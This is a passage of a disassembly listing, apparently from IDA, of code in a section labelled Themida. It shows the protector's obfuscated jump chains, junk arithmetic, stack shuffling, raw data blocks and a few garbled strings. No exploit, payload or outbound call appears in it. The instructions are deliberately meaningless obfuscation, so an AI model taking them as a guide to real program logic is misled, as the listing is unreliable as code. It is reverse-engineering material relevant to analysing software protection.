[esp] pop edx jmp loc_5A8581 ; --------------------------------------------------------------------------- loc_5A424F: ; CODE XREF: Themida_:005A2999j or edi, 66A41D19h jns loc_5A2441 jmp loc_5AE050 ; --------------------------------------------------------------------------- dd 5F2434FFh db 8Ah, 0D7h ; --------------------------------------------------------------------------- loc_5A4266: ; CODE XREF: Themida_:005A879Dj mov [esp], edx push ebp mov ebp, 1C4E01F6h mov edx, ebp jmp loc_5AF6F7 ; --------------------------------------------------------------------------- dw 0E1C1h dd 72F18104h, 31F9F4C2h, 2434FFCBh, 0E1895159h, 0FFB5E9E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A428D: ; CODE XREF: Themida_:005AF42Cj pop esp jmp loc_5A8820 ; --------------------------------------------------------------------------- byte_5A4293 db 66h ; DATA XREF: Themida_:00598800o dd 6824048Bh, 7EDDh, 53242C89h, 0C381E389h, 4, 4B850h dd 0C3290000h, 241C8758h, 8924248Bh, 50562424h, 393512B8h dd 3516BE23h, 0ECE92339h db 82h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A42CB: ; CODE XREF: Themida_:005A58D6j jo loc_59E349 xor edx, 6AAB78A0h jnz loc_5A0180 jmp loc_5AC92C ; --------------------------------------------------------------------------- dw 5D54h dd 717E9h, 0AB045C00h ; --------------------------------------------------------------------------- loc_5A42EC: ; CODE XREF: Themida_:005ADA67j sub dl, bh jmp loc_59C337 ; --------------------------------------------------------------------------- loc_5A42F3: ; CODE XREF: Themida_:005A0A64j mov edi, [esp] add esp, 4 jmp loc_5A1DD2 ; --------------------------------------------------------------------------- loc_5A42FE: ; CODE XREF: Themida_:0059A7F0j push esi push eax push 4 jmp loc_59D094 ; --------------------------------------------------------------------------- loc_5A430A: ; CODE XREF: Themida_:0059D676j add bl, 8Ah movzx eax, al lea eax, [edi+eax*4] sub esp, 4 mov [esp], edi jmp loc_5A9B35 ; --------------------------------------------------------------------------- dw 0F681h dd 718174BCh, 0F75EF389h, 0FDBF7DBh, 0FF4D3E8Dh, 0E4C381FFh dd 0C67F4061h db 0C3h, 0C8h, 5Ch ; --------------------------------------------------------------------------- loc_5A433B: ; CODE XREF: Themida_:005AB960j xchg eax, [esp] pop esp push edi jmp loc_5A7295 ; --------------------------------------------------------------------------- db 5Fh, 81h, 0C7h dd 4, 4BE56h, 95E90000h, 680000A6h, 1716h, 52243489h, 4B0B40BAh dd 3CEA8129h, 89294B0Bh, 74015AD6h, 0ABE90424h, 89FFFFD2h dd 96E950E7h db 4Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A437F: ; CODE XREF: Themida_:005A4FEFj add esp, 4 neg eax jp loc_5A5AB5 xor eax, 6FF97FBAh jmp loc_5AA24C ; --------------------------------------------------------------------------- db 59h ; --------------------------------------------------------------------------- loc_5A4398: ; CODE XREF: Themida_:005A2724j push 663549h pop ebx xor ebx, 4FDF7205h jnz loc_59CB69 and ebx, 9083636h add ebx, 0F6F7FA00h mov ecx, ebx loc_5A43B8: ; CODE XREF: Themida_:005A69B4j push ebx jmp loc_5A1D39 ; --------------------------------------------------------------------------- dw 0E9C0h dd 2E880F04h, 0F6FFFFA5h, 565DE9D9h, 9B680000h, 8900006Dh dd 0B9E9241Ch db 79h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A43DB: ; CODE XREF: Themida_:0059FDC2j mov edi, [esp] jmp loc_5A4C60 ; --------------------------------------------------------------------------- loc_5A43E3: ; CODE XREF: Themida_:0059D8ACj xor bh, 93h jmp loc_5ACC82 ; --------------------------------------------------------------------------- loc_5A43EB: ; CODE XREF: Themida_:0059F0D6j push 6F9Bh mov [esp], eax push ebx push eax mov ah, dl mov bl, ah pop eax mov al, bl pop ebx mov ch, al push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_5A3E1C ; --------------------------------------------------------------------------- loc_5A4410: ; CODE XREF: Themida_:00599EADj pop esi add esp, 4 sub esp, 4 mov [esp], eax jmp loc_59DCB6 ; --------------------------------------------------------------------------- loc_5A4422: ; CODE XREF: Themida_:005A0187j add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push dword ptr [esp] push dword ptr [esp] pop eax push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_5A08D9 ; --------------------------------------------------------------------------- loc_5A4450: ; CODE XREF: Themida_:loc_5A0650j dec ecx push eax push ebx jmp loc_598CA9 ; --------------------------------------------------------------------------- loc_5A4458: ; CODE XREF: Themida_:0059E37Cj pop esp push edx push esp pop edx push 2749h mov [esp], ebp mov ebp, 7AE569BEh push edi mov edi, 7FFE2429h sub ebp, 718B5D52h add ebp, 1BD54E56h add ebp, edi sub ebp, 1BD54E56h add ebp, 718B5D52h pop edi push ebx mov ebx, 51C721Dh add ebp, ebx jmp loc_5AC69E ; --------------------------------------------------------------------------- loc_5A4497: ; CODE XREF: Themida_:005A97B8j mov ecx, 17171A32h push ebx mov ebx, 0E8E8E5D0h add ecx, ebx pop ebx add esi, ecx pop ecx jmp loc_5A56BF ; --------------------------------------------------------------------------- loc_5A44AD: ; CODE XREF: Themida_:005AE039j xor dl, 4Eh xor dl, 53h add bh, dl pop edx shl bh, 3 jmp loc_59A784 ; --------------------------------------------------------------------------- loc_5A44BE: ; CODE XREF: Themida_:005ACC4Fj xor edx, 5EE61538h jmp loc_5AEA43 ; --------------------------------------------------------------------------- loc_5A44C9: ; CODE XREF: Themida_:005A306Aj ; Themida_:005A59CAj pop ebx pop edx mov ebx, [esp] add esp, 4 push ebx jmp loc_59C890 ; --------------------------------------------------------------------------- loc_5A44D7: ; CODE XREF: Themida_:0059FA7Ej ; Themida_:005AF9CBj add ebp, ebx sub ebp, 51115BDh mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], edx mov edx, 4 sub ebp, 746A7FBDh jmp loc_5A4F58 ; --------------------------------------------------------------------------- loc_5A44FB: ; CODE XREF: Themida_:005AECE0j sub esp, 4 mov [esp], ebp jmp loc_5A0C4D ; --------------------------------------------------------------------------- db 0F7h, 0D1h, 87h dd 0CDEF81CFh, 89F2FAC1h, 64685FFAh, 8900007Bh, 2C8B2414h dd 4C48124h, 5A000000h, 34FFE801h, 0C4815D24h, 4, 31240433h dd 4332404h, 8B665C24h, 0E9502404h, 0FFFFC782h, 0E92434FFh dd 0AF68h ; --------------------------------------------------------------------------- loc_5A4550: ; CODE XREF: Themida_:005A6C89j xor esi, [esp] mov esp, [esp] mov ax, [esp] push ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_5A5C90 ; --------------------------------------------------------------------------- loc_5A4570: ; CODE XREF: Themida_:005AACB3j pop edx push 4F6Fh jmp loc_59EE7A ; --------------------------------------------------------------------------- byte_5A457B db 66h ; DATA XREF: Themida_:005987B8o dd 50240C8Bh, 8904EC83h, 0B8502424h, 4, 4244401h, 51525858h dd 7526E9h, 81D1F700h, 0FFFFFFC1h, 57D9F7FFh, 0FF63A3E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A45A9: ; CODE XREF: Themida_:0059AFC8j sub esp, 4 mov [esp], edx mov edx, 471A0CCDh or edx, 1BF07E37h jmp loc_5AE747 ; --------------------------------------------------------------------------- loc_5A45C2: ; CODE XREF: Themida_:005A6D43j add edi, 5BFE35E0h jmp loc_5A96C6 ; --------------------------------------------------------------------------- db 1, 0D6h, 5Ah dd 0FF93BBE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A45D5: ; CODE XREF: Themida_:005AA545j sub edi, 280B4690h jmp loc_5A7F46 ; --------------------------------------------------------------------------- loc_5A45E0: ; CODE XREF: Themida_:0059E191j mov dh, cl jmp loc_5A090D ; --------------------------------------------------------------------------- loc_5A45E7: ; CODE XREF: Themida_:005A9B81j shl edx, 6 xor edx, 36630650h sub edx, 0C8691D87h xor ebx, edx pop edx add [edx], ebx pop ebx pop edx pop ecx loc_5A45FE: ; CODE XREF: Themida_:005AB45Bj push 7678h mov [esp], ebx push 6977h jmp loc_5A8F39 ; --------------------------------------------------------------------------- dd 0B8240489h, 71F43312h, 274BBE56h, 0F0213008h, 0C1D8F75Eh dd 0B82505E0h, 0E9158A3Dh, 0FFFF47B2h ; --------------------------------------------------------------------------- loc_5A4630: ; CODE XREF: Themida_:005A3813j push edi jmp loc_59A108 ; --------------------------------------------------------------------------- loc_5A4636: ; CODE XREF: Themida_:loc_5AEF08j push eax not byte ptr [esp+1] pop eax neg ah jmp loc_5A2A61 ; --------------------------------------------------------------------------- loc_5A4643: ; CODE XREF: Themida_:0059DFDAj add edx, 568618EBh mov ebp, [esp] add esp, 4 jmp loc_5A53B8 ; --------------------------------------------------------------------------- loc_5A4654: ; CODE XREF: Themida_:005ABC68j pop ebx add ebp, 34D94D38h jg loc_5A07DF push eax mov eax, 0F88705Bh sub ebp, eax pop eax push ecx pop edi loc_5A466C: ; CODE XREF: Themida_:005A891Aj mov [esp], ecx jmp loc_5A2DE2 ; --------------------------------------------------------------------------- loc_5A4674: ; CODE XREF: Themida_:005A1207j xchg eax, [esp] pop esp pop dword ptr [esp] jmp loc_5AE220 ; --------------------------------------------------------------------------- loc_5A4680: ; CODE XREF: Themida_:005A120Ej jmp loc_5989A3 ; --------------------------------------------------------------------------- aSs_0 db ']И≥-',0 db 0 ; --------------------------------------------------------------------------- loc_5A468B: ; CODE XREF: Themida_:005AAA3Cj sub esi, 33342761h push dword ptr [esp] pop ebx jmp loc_5A2A6C ; --------------------------------------------------------------------------- aS_6 db ')ьИс#',0 db 0 ; --------------------------------------------------------------------------- loc_5A46A1: ; CODE XREF: Themida_:0059FF01j xor esi, 0D69B9C91h mov edi, esi pop esi add eax, edi pop edi push 6ADh mov [esp], esi mov esi, 67A12420h neg esi shl esi, 4 xor esi, 58D00A8Dh not esi jmp loc_599BA3 ; --------------------------------------------------------------------------- dd 7CFFF381h, 0DA899927h, 0E9D1015Bh, 0FFFFB5C9h ; --------------------------------------------------------------------------- loc_5A46DC: ; CODE XREF: Themida_:005A9F55j sub esp, 4 mov [esp], ecx mov ecx, 52165E3Ah and ecx, 17E43DAh xor ecx, 6B9A36A3h sub ecx, 0A304615Eh jmp loc_59A298 ; --------------------------------------------------------------------------- loc_5A4701: ; CODE XREF: Themida_:0059F05Ej push ecx push edi push 7750135Fh jmp loc_5A11F0 ; --------------------------------------------------------------------------- loc_5A470D: ; CODE XREF: Themida_:005AB7D9j push ecx jmp loc_5ADB2A ; --------------------------------------------------------------------------- db 5Bh dd 5C243487h, 0E9241C89h, 0B1E7h ; --------------------------------------------------------------------------- loc_5A4720: ; CODE XREF: Themida_:005AC1A8j and di, 7A05h inc di push ecx mov cx, 2B5Bh jmp loc_5A4E07 ; --------------------------------------------------------------------------- loc_5A4731: ; CODE XREF: Themida_:005A6913j pop ecx add ecx, 4 sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], ecx push esp pop ecx jmp loc_5A26F7 ; --------------------------------------------------------------------------- db 5Dh dd 8108E5C1h, 0E0BEFFC5h, 5DEE897Ch, 23E9F129h db 5Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A475F: ; CODE XREF: Themida_:005A7253j pop ebx add ebx, ecx pop ecx xor [esp], ebx xor ebx, [esp] jmp loc_5AB4CF ; --------------------------------------------------------------------------- loc_5A476E: ; CODE XREF: Themida_:0059BF43j mov edi, 4 jmp loc_5ABA22 ; --------------------------------------------------------------------------- loc_5A4778: ; CODE XREF: Themida_:005A5F7Dj push ecx push eax push ecx mov ch, 0EFh sub ch, 1 dec ch sub ch, 2Eh shr ch, 4 jmp loc_598E09 ; --------------------------------------------------------------------------- db 0BDh, 0BFh, 14h dd 0C581161Eh, 0F8ADF2D6h, 7356EF81h, 0EF2950DBh, 7356C781h dd 0DAE950DBh db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A47AB: ; CODE XREF: Themida_:005A6E24j add ecx, 0FF742950h jmp loc_5A6AAE ; --------------------------------------------------------------------------- dw 1C89h dd 5EF56824h, 34890000h, 35696824h, 348B0E31h, 4C48324h dd 273AF681h, 830F4250h, 0FFFFFB46h, 74BCF681h, 0F3897181h dd 50DBF75Eh ; --------------------------------------------------------------------------- loc_5A47E4: ; CODE XREF: Themida_:loc_5A20E8j xor edx, 65B5EAEFh xor esi, edx jmp loc_5AAEF9 ; --------------------------------------------------------------------------- loc_5A47F1: ; CODE XREF: Themida_:005A1CD6j pop ax push bp xor word ptr [esp], 787Dh pop dx xor dx, 787Dh pop ebp mov cx, 3771h add cx, 4086h add cx, dx sub cx, 4086h mov edx, [esp] add esp, 4 push eax mov ax, 670h inc ax inc ax inc ax add ax, 5260h add bx, ax pop eax jmp loc_5ACAB8 ; --------------------------------------------------------------------------- loc_5A4835: ; CODE XREF: Themida_:005AFA04j push dword ptr [esp] pop eax add esp, 4 push eax push esp jmp loc_5A7A17 ; --------------------------------------------------------------------------- loc_5A4843: ; CODE XREF: Themida_:005AB271j mov ebp, 411492Ch jmp loc_5ADF69 ; --------------------------------------------------------------------------- loc_5A484D: ; CODE XREF: Themida_:0059C8FCj mov edi, 0B15616Eh sub edi, 0CE3180C6h sub esi, edi pop edi sub ebp, esi pop esi jmp loc_5A0625 ; --------------------------------------------------------------------------- loc_5A4863: ; CODE XREF: Themida_:005A77E7j ; Themida_:005AF30Dj shl ebp, 8 xor ebp, 0F5348B02h add esi, 77FC08A7h add esi, ebp jmp loc_5A6C7C ; --------------------------------------------------------------------------- loc_5A4879: ; CODE XREF: Themida_:005A1507j pop esi jmp loc_5A0BC9 ; --------------------------------------------------------------------------- loc_5A487F: ; CODE XREF: Themida_:005AB800j sub ch, dh jmp loc_5AB18E ; --------------------------------------------------------------------------- word_5A4886 dw 8B66h ; DATA XREF: Themida_:005987DCo dd 68572404h, 5725h, 0E9242489h, 2DFBh ; --------------------------------------------------------------------------- loc_5A4898: ; CODE XREF: Themida_:005AD4D4j not eax sub eax, 0BBCB3C4Ah xor edx, eax mov eax, [esp] add esp, 4 add edx, 5E770570h jnz loc_59D7E4 xor edx, 96E05EEh mov ebp, edx mov edx, [esp] pop edx push ebp mov ebp, 75D03733h xor ebp, 13336BBCh jb loc_59F1CA neg ebp jle loc_5A50DD jmp loc_5A0D75 ; --------------------------------------------------------------------------- db 81h, 0EBh, 0FFh dd 51FFFFFFh ; --------------------------------------------------------------------------- loc_5A48E8: ; CODE XREF: Themida_:0059F1EEj pop ecx jmp loc_59A531 ; --------------------------------------------------------------------------- loc_5A48EE: ; CODE XREF: Themida_:005A5925j xor esi, 0F4DFF1C4h add ebp, esi pop esi push eax mov eax, esp jmp loc_5ABA3E ; --------------------------------------------------------------------------- loc_5A48FF: ; CODE XREF: Themida_:005A5DCCj neg esi dec esi xor esi, 5978C1A3h sub ebx, esi pop esi sub eax, 236E7B45h sub eax, 0D49333Ah add eax, ebx add eax, 0D49333Ah push ebp mov ebp, 236E7B45h add eax, ebp pop ebp pop ebx push esi mov esi, 152C19CFh shr esi, 7 jmp loc_59B37B ; --------------------------------------------------------------------------- loc_5A4934: ; CODE XREF: Themida_:005AA035j mov [esp], edx push eax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A493E: ; CODE XREF: Themida_:0059903Dj push ecx mov ecx, esp jmp loc_5AC37D ; --------------------------------------------------------------------------- loc_5A4946: ; CODE XREF: Themida_:005A52A9j sub esp, 2 mov [esp], cx mov cl, 1Fh sub dh, cl mov cx, [esp] add esp, 2 sub dh, 1 push ax jmp loc_5AEE7E ; --------------------------------------------------------------------------- loc_5A4962: ; CODE XREF: Themida_:005A5495j add edx, 4 xchg edx, [esp] mov esp, [esp] mul ecx sub esp, 4 mov [esp], edi push esp jmp loc_59958E ; --------------------------------------------------------------------------- loc_5A497C: ; CODE XREF: Themida_:0059C2BAj add edi, 7CB402BAh jl loc_5A380D xor edi, 7DF812B5h jmp loc_5A86C0 ; --------------------------------------------------------------------------- loc_5A4993: ; CODE XREF: Themida_:005A524Dj xor eax, esi xor esi, eax xor eax, esi xor esi, eax xor eax, esi jmp loc_59DF93 ; --------------------------------------------------------------------------- loc_5A49A2: ; CODE XREF: Themida_:005A0169j pop edx jmp loc_59A843 ; --------------------------------------------------------------------------- loc_5A49A8: ; CODE XREF: Themida_:005A4D78j jp loc_59D1AC sub edx, 7DF36C06h jg loc_5AE785 not edx add edx, 178316A6h jmp loc_59BD15 ; --------------------------------------------------------------------------- loc_5A49C7: ; CODE XREF: Themida_:0059BD56j pop ecx pop eax pop edx push dword ptr [esp] pop ebx jmp loc_5ABBBB ; --------------------------------------------------------------------------- loc_5A49D3: ; CODE XREF: Themida_:005A2E06j ; Themida_:005A65B8j xor edx, 24F15B98h jns loc_5A5804 shl edx, 3 jmp loc_5A6141 ; --------------------------------------------------------------------------- db 50h db 0Ch, 11h ; --------------------------------------------------------------------------- loc_5A49EA: ; CODE XREF: Themida_:0059968Dj neg eax shr eax, 1 jnz loc_598BED add eax, 0AF474029h jmp loc_5992F1 ; --------------------------------------------------------------------------- dw 0FB29h ; --------------------------------------------------------------------------- loc_5A4A00: ; CODE XREF: Themida_:005A58FAj add ebx, 0ED7A4779h sub edi, ebx pop ebx neg edi and edi, 36A2337Fh sub edi, 0BD0685C8h jmp loc_59A36B ; --------------------------------------------------------------------------- loc_5A4A1C: ; CODE XREF: Themida_:0059FAB2j pop ebx or edi, 7F487672h and edi, 3FE9359Eh push esi jmp loc_5A361E ; --------------------------------------------------------------------------- loc_5A4A2F: ; CODE XREF: Themida_:0059FCA0j mov [esp], ecx mov ecx, 25D0464Fh and esi, ecx jmp loc_5A01E3 ; --------------------------------------------------------------------------- loc_5A4A3E: ; CODE XREF: Themida_:0059B740j mov esp, [esp] push ecx jmp loc_5A5B5F ; --------------------------------------------------------------------------- loc_5A4A47: ; CODE XREF: Themida_:loc_59EA9Ej push edx mov dl, 9 push ecx mov ch, 6Ah sub dl, ch pop ecx shl dl, 4 or dl, 0D6h jmp loc_5A195D ; --------------------------------------------------------------------------- loc_5A4A5B: ; CODE XREF: Themida_:005A691Ej push ecx jmp loc_5A8011 ; --------------------------------------------------------------------------- loc_5A4A61: ; CODE XREF: Themida_:005A5ACEj add edi, ebp jmp loc_5AB6A3 ; --------------------------------------------------------------------------- loc_5A4A68: ; CODE XREF: Themida_:005AAB87j and edx, 5D3A7786h and edx, 62FF5711h jmp loc_5A76A7 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 35568h, 24148900h, 0E96BB050h, 0FFFFE817h ; --------------------------------------------------------------------------- loc_5A4A8C: ; CODE XREF: Themida_:0059B288j shl eax, 5 jmp loc_5A4FC2 ; --------------------------------------------------------------------------- loc_5A4A94: ; CODE XREF: Themida_:loc_5AF9D8j xor ebp, 446607EAh jb loc_5A2524 sub ebp, 5C367BF9h or ebp, 6FD711BDh jmp loc_5A6412 ; --------------------------------------------------------------------------- loc_5A4AB1: ; CODE XREF: Themida_:0059EC2Ej add eax, 4 jmp loc_59EA31 ; --------------------------------------------------------------------------- db 45h, 0E9h, 58h db 78h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A4ABF: ; CODE XREF: Themida_:0059DB35j add ecx, edi sub ecx, 364136E6h push 1511h jmp loc_5A21BC ; --------------------------------------------------------------------------- loc_5A4AD1: ; CODE XREF: Themida_:005AE41Dj mov [esp], ebx push dword ptr [esp] jmp loc_5AA316 ; --------------------------------------------------------------------------- loc_5A4ADC: ; CODE XREF: Themida_:0059DBF1j add esp, 4 push 4315h jmp loc_59A51E ; --------------------------------------------------------------------------- loc_5A4AE9: ; CODE XREF: Themida_:005A3D12j add edx, 4 xchg edx, [esp] pop esp push ecx jmp loc_5AFDA8 ; --------------------------------------------------------------------------- loc_5A4AF6: ; CODE XREF: Themida_:005A5B84j jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A4AFB: ; CODE XREF: Themida_:005A23D6j mov ebp, 4 add [esp+4], ebp pop ebp mov edi, [esp] jmp loc_59ABBC ; --------------------------------------------------------------------------- loc_5A4B0D: ; CODE XREF: Themida_:005AE742j shr ecx, 5 add ecx, 28557340h sub ecx, 622E27E8h mov eax, ecx jmp loc_5AC46E ; --------------------------------------------------------------------------- loc_5A4B23: ; CODE XREF: Themida_:005A5545j pop ebx add ebp, eax add ebp, 608459A1h mov eax, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push edi push 4 pop edi push ecx mov ecx, 441C467Dh sub ebp, ecx mov ecx, [esp] add esp, 4 add ebp, 2B7043D6h add ebp, edi sub ebp, 2B7043D6h push ebx push ecx mov ecx, 3D1E3C75h mov ebx, ecx pop ecx push eax mov eax, 24610A4Fh jmp loc_5998F6 ; --------------------------------------------------------------------------- loc_5A4B77: ; CODE XREF: Themida_:loc_5ADB9Cj jmp loc_5993B6 ; --------------------------------------------------------------------------- loc_5A4B7C: ; CODE XREF: Themida_:005AB6B7j sub ebx, 438A433Bh shr ebx, 2 xor ebx, 335FA655h add ecx, ebx pop ebx push esi mov esi, 2 add ecx, esi pop esi jmp loc_5A34B2 ; --------------------------------------------------------------------------- loc_5A4B9C: ; CODE XREF: Themida_:0059F6ECj mov ebx, 0FFFFFFFFh sub edi, ebx pop ebx jmp loc_5A409C ; --------------------------------------------------------------------------- db 89h, 0F3h, 5Eh dd 0FFB617E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A4BB1: ; CODE XREF: Themida_:005A26E0j not esi neg esi jmp loc_59A8F4 ; --------------------------------------------------------------------------- loc_5A4BBA: ; CODE XREF: Themida_:0059C16Fj pop eax inc eax xor eax, 7D7724DAh and eax, 21C9213Eh and eax, 54A42B47h shr eax, 5 push edx mov edx, 5C5353B0h jmp loc_5A30C0 ; --------------------------------------------------------------------------- loc_5A4BD9: ; CODE XREF: Themida_:005AB28Aj mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xchg ebx, [esp] pop esp shr eax, 10h xor eax, ecx jmp loc_59900C ; --------------------------------------------------------------------------- loc_5A4BF6: ; CODE XREF: Themida_:005A1F15j xchg eax, ecx jmp loc_59ED82 ; --------------------------------------------------------------------------- loc_5A4BFC: ; CODE XREF: Themida_:0059EF54j add esp, 2 jmp loc_5A1F95 ; --------------------------------------------------------------------------- loc_5A4C04: ; CODE XREF: Themida_:005A7E9Dj mov [esp], edi jmp loc_59BF86 ; --------------------------------------------------------------------------- dword_5A4C0C dd 8B2434FFh, 0C481240Ch, 4, 44D268h, 242C8900h, 5CE9E589h ; DATA XREF: Themida_:0059878Co db 7Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A4C27: ; CODE XREF: Themida_:00599B9Ej push ecx push ebp push 37305934h pop ebp sub ebp, 37305930h jmp loc_5A1B2C ; --------------------------------------------------------------------------- loc_5A4C3A: ; CODE XREF: Themida_:0059ADF1j pop esi sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_5AF859 ; --------------------------------------------------------------------------- loc_5A4C4A: ; CODE XREF: Themida_:005A510Aj mov ebp, 1 sub edx, ebp pop ebp shr edx, 3 push edi mov edi, 3E0E5A5Eh jmp loc_5A6C34 ; --------------------------------------------------------------------------- loc_5A4C60: ; CODE XREF: Themida_:005A43DEj add esp, 4 jmp loc_5ACA45 ; --------------------------------------------------------------------------- loc_5A4C6B: ; CODE XREF: Themida_:005AD3B6j mov edi, 3698090Bh jmp loc_59D562 ; --------------------------------------------------------------------------- loc_5A4C75: ; CODE XREF: Themida_:005A6AEFj sub eax, edi jmp loc_5AFC60 ; --------------------------------------------------------------------------- loc_5A4C7C: ; CODE XREF: Themida_:005A3CF1j pop esp push edx jmp loc_5A9B1E ; --------------------------------------------------------------------------- loc_5A4C83: ; CODE XREF: Themida_:005AE9BCj mov [esp], esi mov esi, 29AC1705h sub esp, 4 mov [esp], ebp mov ebp, 60F3385Ah sub esi, ebp jmp loc_5AB142 ; --------------------------------------------------------------------------- dd 4EF86866h, 8F665466h, 56662404h, 6F57E9h db 0 ; --------------------------------------------------------------------------- loc_5A4CB1: ; CODE XREF: Themida_:005ADE1Cj pop eax jmp loc_5AB3DB ; --------------------------------------------------------------------------- db 81h dd 3633E9C2h, 0FE8A0F62h, 81FFFFEAh, 425281F2h, 0E78B0F4Ch dd 8B000030h db 0FAh, 56h ; --------------------------------------------------------------------------- loc_5A4CD2: ; CODE XREF: Themida_:005A3FE0j xchg ebp, [esp] mov esp, [esp] sub al, bl sub al, 63h push 6DD3h jmp loc_59F480 ; --------------------------------------------------------------------------- dw 0CD29h dd 20CAB850h, 0E88312BEh, 0FDB95101h, 29CF84B3h, 0C50159C8h dd 0E1C58158h, 5966A13Fh, 0FFBAA0E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A4D09: ; CODE XREF: Themida_:005A9938j neg bh dec bh sub bh, 0A0h sub al, bh pop ebx sub al, bh push ebx mov bh, 0B3h jmp loc_5AA3E7 ; --------------------------------------------------------------------------- loc_5A4D1D: ; CODE XREF: Themida_:005AA9E4j mov edx, 503B0AEAh add edx, 7051017Dh inc edx jmp loc_599AAA ; --------------------------------------------------------------------------- loc_5A4D2E: ; CODE XREF: Themida_:005AB418j xor ecx, 6CBD7772h sub edx, ecx pop ecx pop ebp jmp loc_5AAFDA ; --------------------------------------------------------------------------- db 86h, 0CEh, 0FEh aQUsA db 'фQ╠ЦИо═',0 db 0 ; --------------------------------------------------------------------------- loc_5A4D49: ; CODE XREF: Themida_:005AE110j sub edi, 57731FFAh mov eax, [esp] add esp, 4 xchg edi, [esp] jmp loc_5A203E ; --------------------------------------------------------------------------- loc_5A4D5D: ; CODE XREF: Themida_:005AD5A5j mov [esp], ecx jmp loc_5A5FA0 ; --------------------------------------------------------------------------- loc_5A4D65: ; CODE XREF: Themida_:005A12BEj pop esp add al, bl jmp loc_5AF1F9 ; --------------------------------------------------------------------------- loc_5A4D6D: ; CODE XREF: Themida_:005A50B7j push edx mov edx, 60FF1936h not edx shr edx, 7 jmp loc_5A49A8 ; --------------------------------------------------------------------------- loc_5A4D7D: ; CODE XREF: Themida_:005AE5E0j add esi, 4 jmp loc_5AF1AB ; --------------------------------------------------------------------------- dd 5A3FB850h, 2CBA1A81h, 0E95519BDh, 6DD3h, 0FF3C06E9h dd 0EB815EFFh, 4CA14F09h, 0C381C301h, 4CA14F09h, 56E08950h dd 4BEh, 5EF00100h, 42Dh, 24048700h, 2C75E9h, 4C18100h dd 89028243h, 4416E9CAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A4DD2: ; CODE XREF: Themida_:005A77ACj add esi, ebx sub esi, 2AE66228h pop ebx push ecx jmp loc_5AF3EA ; --------------------------------------------------------------------------- loc_5A4DE1: ; CODE XREF: Themida_:005AE502j shr dword ptr [esp], cl pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A4DEA: ; CODE XREF: Themida_:0059A279j ; Themida_:005AFABBj add esp, 4 jmp loc_5A0EBF ; --------------------------------------------------------------------------- dd offset dword_455248+29D20h dw 8900h dd 2BA2414h, 89065E08h, 92E95AD1h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A4E07: ; CODE XREF: Themida_:005A472Cj neg cx shr cx, 2 push bp mov bp, 7FB1h jmp loc_598B3C ; --------------------------------------------------------------------------- loc_5A4E19: ; CODE XREF: Themida_:005A6867j pop ebx add ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] push 6E9Fh mov [esp], ebp push 6D64h mov [esp], edx mov edx, 4 jmp loc_59C889 ; --------------------------------------------------------------------------- loc_5A4E43: ; CODE XREF: Themida_:0059E156j ; Themida_:0059FEDEj mov [esp], edx mov edx, 15A86C8Dh sub edx, 1B0B1111h push ebx mov ebx, 0FA9D5B78h xor edx, ebx pop ebx add eax, edx pop edx push edi mov edi, 4 sub eax, 531C4ADDh add eax, edi push edi mov edi, 50CB3CD4h shl edi, 3 not edi xor edi, 2ABA5382h add eax, edi pop edi pop edi push eax push dword ptr [esp+4] jmp loc_59A6AF ; --------------------------------------------------------------------------- loc_5A4E89: ; CODE XREF: Themida_:005A3E2Fj ; Themida_:005AD7C5j pop ax jmp loc_598C38 ; --------------------------------------------------------------------------- loc_5A4E90: ; CODE XREF: Themida_:00599BD4j add ebx, ecx pop ecx sub ebx, 4 jmp loc_5A68E8 ; --------------------------------------------------------------------------- loc_5A4E9E: ; CODE XREF: Themida_:005A0737j mov edi, esp jmp loc_5A9304 ; --------------------------------------------------------------------------- loc_5A4EA5: ; CODE XREF: Themida_:0059EA43j shl ch, 6 jmp loc_59EA9E ; --------------------------------------------------------------------------- loc_5A4EAD: ; CODE XREF: Themida_:005A193Ej push ebx mov bl, 0CDh jmp loc_5AE9E3 ; --------------------------------------------------------------------------- loc_5A4EB5: ; CODE XREF: Themida_:0059E4C8j add edi, 4 add edi, 4 jmp loc_599A36 ; --------------------------------------------------------------------------- loc_5A4EC3: ; CODE XREF: Themida_:005ABE1Bj or edx, 7A82E57h jz loc_5A6BDC jmp loc_5A60FA ; --------------------------------------------------------------------------- loc_5A4ED4: ; CODE XREF: Themida_:0059B698j mov esi, [esp] add esp, 4 push edx mov edx, esp add edx, 4 push 67B4h mov [esp], eax mov eax, 4 add edx, eax mov eax, [esp] add esp, 4 xchg edx, [esp] mov esp, [esp] jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A4F06: ; CODE XREF: Themida_:0059BC31j jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A4F0B: ; CODE XREF: Themida_:0059B291j jns loc_5A9DE2 not eax add eax, 0CE517951h push 0 loc_5A4F1D: ; DATA XREF: Themida_:005988CCo neg byte ptr [esp] pushf jmp loc_59A12E ; --------------------------------------------------------------------------- loc_5A4F26: ; CODE XREF: 